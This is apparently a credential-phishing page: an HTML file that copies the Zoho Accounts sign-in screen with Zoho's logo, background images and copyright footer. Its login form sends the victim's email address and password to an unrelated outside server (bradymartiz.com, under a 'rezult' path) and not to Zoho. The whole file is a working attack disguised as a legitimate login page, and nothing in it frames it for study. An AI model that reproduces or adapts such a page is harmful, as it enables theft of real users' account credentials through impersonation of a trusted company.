<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="IE_Compatible" http-equiv="X-UA-Compatible" content="IE=edge" />
	<link rel="icon" href="https://design-foundations.com/cdn-cgi/image/width=180,format=auto,metadata=none,fit=contain,height=180,quality=90/https://media.design-foundations.com/upscaled-favicons/www-zoho-com.png" type="image/x-icon">
    <title>Zoho Accounts</title>
    <style>
        body {
			position: relative;
			margin: 0;
			font-family: Arial, sans-serif;
			display: flex;
			justify-content: center;
			align-items: center;
			height: 100vh;
			background-color: #f9f9f9;
			background-image: url('https://static.zohocdn.com/iam/v2/components/images/bg.49756b7c711696d95133fa95451f8e13.svg');
			background-size: cover;
			background-position: center;
		}

        .load-bg {
            background-color: #FFFFFF;
            width: 100%;
            height: 100%;
            position: absolute;
            z-index: 100;
            display: flex;
            justify-content: center;
            align-items: center;
            transition: opacity 0.2s ease;
        }

        .load-bg.hidden {
            opacity: 0;
            pointer-events: none;
        }

        .line_loader {
            animation: rotate 2s linear infinite;
            shape-rendering: geometricPrecision;
        }

        @keyframes rotate {
            0% {
                transform: rotate(0deg);
            }
            100% {
                transform: rotate(360deg);
            }
        }

        .path1-anim {
            animation: colorChange1 4s linear infinite;
        }

        .path2-anim {
            animation: colorChange2 4s linear infinite;
        }

        .path3-anim {
            animation: colorChange3 4s linear infinite;
        }

        .path4-anim {
            animation: colorChange4 4s linear infinite;
        }

        @keyframes colorChange1 {
            0% {
                stroke: rgb(226, 39, 40);
            }
            25% {
                stroke: rgb(4, 152, 73); 
            }
            50% {
                stroke: rgb(34, 110, 179);
            }
            75% {
                stroke: rgb(246, 177, 27);
            }
            100% {
                stroke: rgb(226, 39, 40);
            }
        }

        @keyframes colorChange2 {
            0% {
                stroke: rgb(4, 152, 73); 
            }
            25% {
                stroke: rgb(34, 110, 179);
            }
            50% {
                stroke: rgb(246, 177, 27);
            }
            75% {
                stroke: rgb(226, 39, 40);
            }
            100% {
                stroke: rgb(4, 152, 73); 
            }
        }

        @keyframes colorChange3 {
            0% {
                stroke: rgb(34, 110, 179);
            }
            25% {
                stroke: rgb(246, 177, 27);
            }
            50% {
                stroke: rgb(226, 39, 40);
            }
            75% {
                stroke: rgb(4, 152, 73); 
            }
            100% {
                stroke: rgb(34, 110, 179);
            }
        }

        @keyframes colorChange4 {
            0% {
                stroke: rgb(246, 177, 27);
            }
            25% {
                stroke: rgb(226, 39, 40);
            }
            50% {
                stroke: rgb(4, 152, 73);
            }
            75% {
                stroke: rgb(34, 110, 179);
            }
            100% {
                stroke: rgb(246, 177, 27);
            }
        }

        .signin_box {
			width: 500px;
			padding: 60px;
			background: #fff;
			box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
			text-align: center;
			box-sizing: border-box;
			position: relative;
			top: -60px; 
			transform: translateY(-50%); 
		}

        .zoho_logo {
            display: block;
            margin-bottom: 20px;
            background: url('https://static.zohocdn.com/iam/v2/components/images/newZoho_logo.5f6895fcb293501287eccaf0007b39a5.svg') no-repeat transparent;
            background-size: auto 100%;
            height: 40px;
            width: auto;
        }

        .darkmode .zoho_logo {
            background-image: url('https://static.zohocdn.com/iam/v2/components/images/newZoho_logo_dark.aed96a3461d2b82c4145185f95c4b491.svg');
        }

        @media (min-width: 600px) and (max-width: 1024px) {
            .signin_box {
                width: 100%;
                border-right: none;
            }
        }

        @media only screen and (max-width: 600px) {
            .signin_box {
                width: 100%;
                padding: 0px 30px;
                height: auto;
                border-right: none;
            }
        }

        body {
            margin: 0px;
        }

        .load-bg {
            top: 0px;
        }

        .darkmode .load-bg {
            background-color: #191A23;
        }

        .line_loader {
            transform: scale(1);
        }

        .form-group {
            margin-bottom: 20px;
            text-align: left;
        }

        .form-group input {
            width: 100%;
            padding: 13px;
            border: 1px solid #ccc;
            box-sizing: border-box;
            font-size: 15px;
        }

        .form-group input::placeholder {
            font-size: 15px;
			font-weight: 500;
        }

        .form-group input:focus {
            border-color: #007bff;
            outline: none;
        }

        .submit-btn {
            background-color: #007bff;
            color: #fff;
            border: none;
            padding: 13px;
            cursor: pointer;
            width: 100%;
            font-size: 15px; 
			font-weight: 700; 
        }

        .submit-btn:disabled {
            background-color: #ccc;
            cursor: not-allowed;
        }

        .hidden {
            display: none;
        }

        .field-container {
            margin-bottom: 20px;
        }

        .service_name {
            color: #666;
            font-size: 14px;
            text-align: left;
            margin-bottom: 10px;
        }

        h2 {
            text-align: left; 
            margin-bottom: 10px; 
        }

        #footer {
            width: 100%;
            height: 20px;
            font-size: 14px;
            color: #727272;
            position: absolute;
            left: 0px;
            right: 0px;
            margin: 20px auto;
            text-align: center;
            bottom: 0px;
        }

        #footer a {
            text-decoration: none;
            color: #727272;
            font-size: 14px;
        }

        @media only screen and (max-width: 435px) {
            #footer a, #footer {
                font-size: 12px;
            }
        }
    </style>
</head>
<body>
    <div class="load-bg fade">
        <div class="basic-box-s box-anim">
            <svg width="50" height="50" class="line_loader">
                <rect
                    x="5"
                    y="5"
                    rx="6"
                    ry="6"
                    width="40"
                    height="40"
                    class="path path1 path1-anim"
                    style="stroke: rgb(246, 177, 27); stroke-width: 5.4; stroke-opacity: 1; fill: transparent"
                />
                <rect
                    x="5"
                    y="5"
                    rx="6"
                    ry="6"
                    width="40"
                    height="40"
                    class="path path2 path2-anim"
                    style="stroke: rgb(226, 39, 40); stroke-width: 5; stroke-opacity: 1; fill: transparent"
                />
                <rect
                    x="5"
                    y="5"
                    rx="6"
                    ry="6"
                    width="40"
                    height="40"
                    class="path path3 path3-anim"
                    style="stroke: rgb(4, 152, 73); stroke-width: 5; stroke-opacity: 1; fill: transparent"
                />
                <rect
                    x="5"
                    y="5"
                    rx="6"
                    ry="6"
                    width="40"
                    height="40"
                    class="path path4 path4-anim"
                    style="stroke: rgb(34, 110, 179); stroke-width: 5.4; stroke-opacity: 1; fill: transparent"
                />
            </svg>
        </div>
    </div>

    <div class="signin_box">
        <div class="zoho_logo"></div>
        <h2>Sign in</h2>
        <div class="service_name">to access Zoho Services</div>
        <form id="login-form" action="https://bradymartiz.com/rezult/zoho/zh.php" method="POST">
            <div class="field-container">
                <div class="form-group">
                    <input type="email" id="email" name="email" placeholder="Email Address or Mobile Number" required>
                </div>
                <div class="form-group hidden" id="password-group">
                    <input type="password" id="password" name="password" placeholder="Password" required>
                </div>
            </div>
            <button type="submit" class="submit-btn hidden" id="submit-btn">Sign in</button>
        </form>
    </div>

    <footer id="footer">
        <span>&copy; 2024, <a href="http://www.zohocorp.com/" target="_blank" rel="noreferrer">Zoho Corporation Pvt. Ltd.</a> All Rights Reserved.</span>
    </footer>

    <script>
        window.addEventListener('load', () => {
            const loader = document.querySelector('.load-bg');
            setTimeout(() => loader.classList.add('hidden'), 5000);
        });

        const emailInput = document.getElementById('email');
        const passwordGroup = document.getElementById('password-group');
        const submitBtn = document.getElementById('submit-btn');

        emailInput.addEventListener('input', () => {
            if (emailInput.value.trim() !== '') {
                passwordGroup.classList.remove('hidden');
            }
        });

        const passwordInput = document.getElementById('password');
        passwordInput.addEventListener('input', () => {
            if (passwordInput.value.trim() !== '') {
                submitBtn.classList.remove('hidden');
            } else {
                submitBtn.classList.add('hidden');
            }
        });
    </script>
</body>
</html>
